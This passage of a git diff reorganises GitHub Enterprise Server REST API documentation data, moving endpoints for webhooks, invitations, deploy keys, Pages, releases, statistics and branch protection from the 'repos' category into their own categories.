-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Repositories can have multiple webhooks installed. Each webhook should have a unique <code>config</code>. Multiple webhooks can\nshare the same <code>config</code> as long as those webhooks do not have any <code>events</code> that overlap.</p>",
@@ -57860,10 +57826,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a webhook configured in a repository. To get only the webhook <code>config</code> properties, see \"<a href=\"/rest/reference/repos#get-a-webhook-configuration-for-a-repository\">Get a webhook configuration for a repository</a>.\"</p>",
@@ -58164,10 +58130,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates a webhook configured in a repository. If you previously had a <code>secret</code> set, you must provide the same <code>secret</code> or set a new <code>secret</code> or the secret will be removed. If you are only updating individual webhook <code>config</code> properties, use \"<a href=\"/rest/reference/repos#update-a-webhook-configuration-for-a-repository\">Update a webhook configuration for a repository</a>.\"</p>",
@@ -58457,10 +58423,10 @@
       "subcategory": "webhooks"
     },
     "slug": "delete-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -58539,10 +58505,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the webhook configuration for a repository. To get more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#get-a-repository-webhook\">Get a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>read:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:read</code> permission.</p>",
@@ -58684,10 +58650,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates the webhook configuration for a repository. To update more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#update-a-repository-webhook\">Update a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>write:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:write</code> permission.</p>",
@@ -58832,10 +58798,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-deliveries-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a list of webhook deliveries for a webhook configured in a repository.</p>",
@@ -58929,10 +58895,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-delivery-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a delivery for a webhook configured in a repository.</p>",
@@ -59026,10 +58992,10 @@
       "subcategory": "webhooks"
     },
     "slug": "redeliver-a-delivery-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "responses": [
       {
@@ -59113,10 +59079,10 @@
       "subcategory": "webhooks"
     },
     "slug": "ping-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -59195,10 +59161,10 @@
       "subcategory": "webhooks"
     },
     "slug": "test-the-push-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -59365,8 +59331,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -59472,8 +59438,8 @@
       "subcategory": "invitations"
     },
     "slug": "update-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "contentType": "application/json",
@@ -59569,8 +59535,8 @@
       "subcategory": "invitations"
     },
     "slug": "delete-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -63672,8 +63638,8 @@
       "subcategory": "keys"
     },
     "slug": "list-deploy-keys",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -63788,8 +63754,8 @@
       "subcategory": "keys"
     },
     "slug": "create-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "contentType": "application/json",
@@ -63901,8 +63867,8 @@
       "subcategory": "keys"
     },
     "slug": "get-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -63985,8 +63951,8 @@
       "subcategory": "keys"
     },
     "slug": "delete-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -64795,10 +64761,8 @@
       "subcategory": "merging"
     },
     "slug": "merge-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "merging",
-    "subcategoryLabel": "Merging",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "",
@@ -65933,10 +65897,8 @@
       "subcategory": "pages"
     },
     "slug": "get-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -66105,10 +66067,8 @@
       ]
     },
     "slug": "create-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Configures a GitHub Enterprise Server Pages site. For more information, see \"<a href=\"/github/working-with-github-pages/about-github-pages\">About GitHub Pages</a>.\"</p>",
@@ -66363,10 +66323,8 @@
       "subcategory": "pages"
     },
     "slug": "update-information-about-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -66518,10 +66476,8 @@
       ]
     },
     "slug": "delete-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -66616,10 +66572,8 @@
       "subcategory": "pages"
     },
     "slug": "list-github-enterprise-server-pages-builds",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -66685,10 +66639,8 @@
       "subcategory": "pages"
     },
     "slug": "request-a-github-enterprise-server-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>You can request that your site be built from the latest revision on the default branch. This has the same effect as pushing a commit to your default branch, but does not require an additional commit. Manually triggering page builds can be helpful when diagnosing build warnings and failures.</p>\n<p>Build requests are limited to one concurrent build per repository and one concurrent build per requester. If you request a build while another is still in progress, the second request will be queued until the first completes.</p>",
@@ -66754,10 +66706,8 @@
       "subcategory": "pages"
     },
     "slug": "get-latest-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -66832,10 +66782,8 @@
       "subcategory": "pages"
     },
     "slug": "get-github-enterprise-server-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -72301,10 +72249,8 @@
       "subcategory": "releases"
     },
     "slug": "list-releases",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>This returns a list of releases, which does not include regular Git tags that have not been associated with a release. To get a list of Git tags, use the <a href=\"https://docs.github.com/enterprise-server@3.2/rest/reference/repos#list-repository-tags\">Repository Tags API</a>.</p>\n<p>Information about published releases are available to everyone. Only users with push access will receive listings for draft releases.</p>",
@@ -72455,10 +72401,8 @@
       "subcategory": "releases"
     },
     "slug": "create-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can create a release.</p>\n<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/enterprise-server@3.2/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/enterprise-server@3.2/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>",
@@ -72597,10 +72541,10 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>To download the asset's binary content, set the <code>Accept</code> header of the request to <a href=\"https://docs.github.com/enterprise-server@3.2/rest/overview/media-types\"><code>application/octet-stream</code></a>. The API will either redirect the client to the location, or stream it directly if possible. API clients should handle both a <code>200</code> or <code>302</code> response.</p>",
@@ -72734,10 +72678,10 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release asset.</p>",
@@ -72842,10 +72786,10 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -72910,10 +72854,8 @@
       "subcategory": "releases"
     },
     "slug": "get-the-latest-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>View the latest published full release for the repository.</p>\n<p>The latest release is the most recent non-prerelease, non-draft release, sorted by the <code>created_at</code> attribute. The <code>created_at</code> attribute is the date of the commit used for the release, and not the date when the release was drafted or published.</p>",
@@ -72990,10 +72932,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-by-tag-name",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Get a published release with the specified tag.</p>",
@@ -73074,10 +73014,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Note:</strong> This returns an <code>upload_url</code> key corresponding to the endpoint for uploading release assets. This key is a <a href=\"https://docs.github.com/enterprise-server@3.2/rest/overview/resources-in-the-rest-api#hypermedia\">hypermedia resource</a>.</p>",
@@ -73232,10 +73170,8 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release.</p>",
@@ -73367,10 +73303,8 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "responses": [
       {
@@ -73465,10 +73399,10 @@
       "subcategory": "releases"
     },
     "slug": "list-release-assets",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -73583,10 +73517,10 @@
       "subcategory": "releases"
     },
     "slug": "upload-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "*/*",
     "notes": [],
     "bodyParameters": [],
@@ -74305,8 +74239,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -74384,8 +74318,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-last-year-of-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -74463,8 +74397,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-all-contributor-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -74542,8 +74476,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-count",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -74616,8 +74550,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-hourly-commit-count-for-each-day",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -74764,8 +74698,8 @@
       "subcategory": "statuses"
     },
     "slug": "create-a-commit-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "contentType": "application/json",
@@ -85421,8 +85355,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations-for-the-authenticated-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -85502,8 +85436,8 @@
       "subcategory": "invitations"
     },
     "slug": "accept-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -85582,8 +85516,8 @@
       "subcategory": "invitations"
     },
     "slug": "decline-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
diff --git a/lib/rest/static/decorated/ghes-3.3.json b/lib/rest/static/decorated/ghes-3.3.json
index e8f4257c47..877f7893cc 100644
--- a/lib/rest/static/decorated/ghes-3.3.json
+++ b/lib/rest/static/decorated/ghes-3.3.json
@@ -37521,10 +37521,8 @@
       "subcategory": "branches"
     },
     "slug": "list-branches",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -37606,10 +37604,8 @@
       "subcategory": "branches"
     },
     "slug": "get-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -37700,10 +37696,10 @@
       "subcategory": "branches"
     },
     "slug": "get-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -38457,10 +38453,10 @@
       "subcategory": "branches"
     },
     "slug": "update-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -39162,10 +39158,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -39246,10 +39242,10 @@
       "subcategory": "branches"
     },
     "slug": "get-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39326,10 +39322,10 @@
       "subcategory": "branches"
     },
     "slug": "set-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Adding admin enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -39406,10 +39402,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -39490,10 +39486,10 @@
       "subcategory": "branches"
     },
     "slug": "get-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39697,10 +39693,10 @@
       "subcategory": "branches"
     },
     "slug": "update-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating pull request review enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>\n<p><strong>Note</strong>: Passing new arrays of <code>users</code> and <code>teams</code> replaces their previous values.</p>",
@@ -39878,10 +39874,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -39962,10 +39958,10 @@
       "subcategory": "branches"
     },
     "slug": "get-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to check whether a branch requires signed commits. An enabled status of <code>true</code> indicates you must sign commits on this branch. For more information, see <a href=\"https://help.github.com/articles/signing-commits-with-gpg\">Signing commits with GPG</a> in GitHub Help.</p>\n<p><strong>Note</strong>: You must enable branch protection to require signed commits.</p>",
@@ -40047,10 +40043,10 @@
       "subcategory": "branches"
     },
     "slug": "create-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to require signed commits on a branch. You must enable branch protection to require signed commits.</p>",
@@ -40132,10 +40128,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -40216,10 +40212,10 @@
       "subcategory": "branches"
     },
     "slug": "get-status-checks-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40341,10 +40337,10 @@
       "subcategory": "branches"
     },
     "slug": "update-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating required status checks requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -40455,10 +40451,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
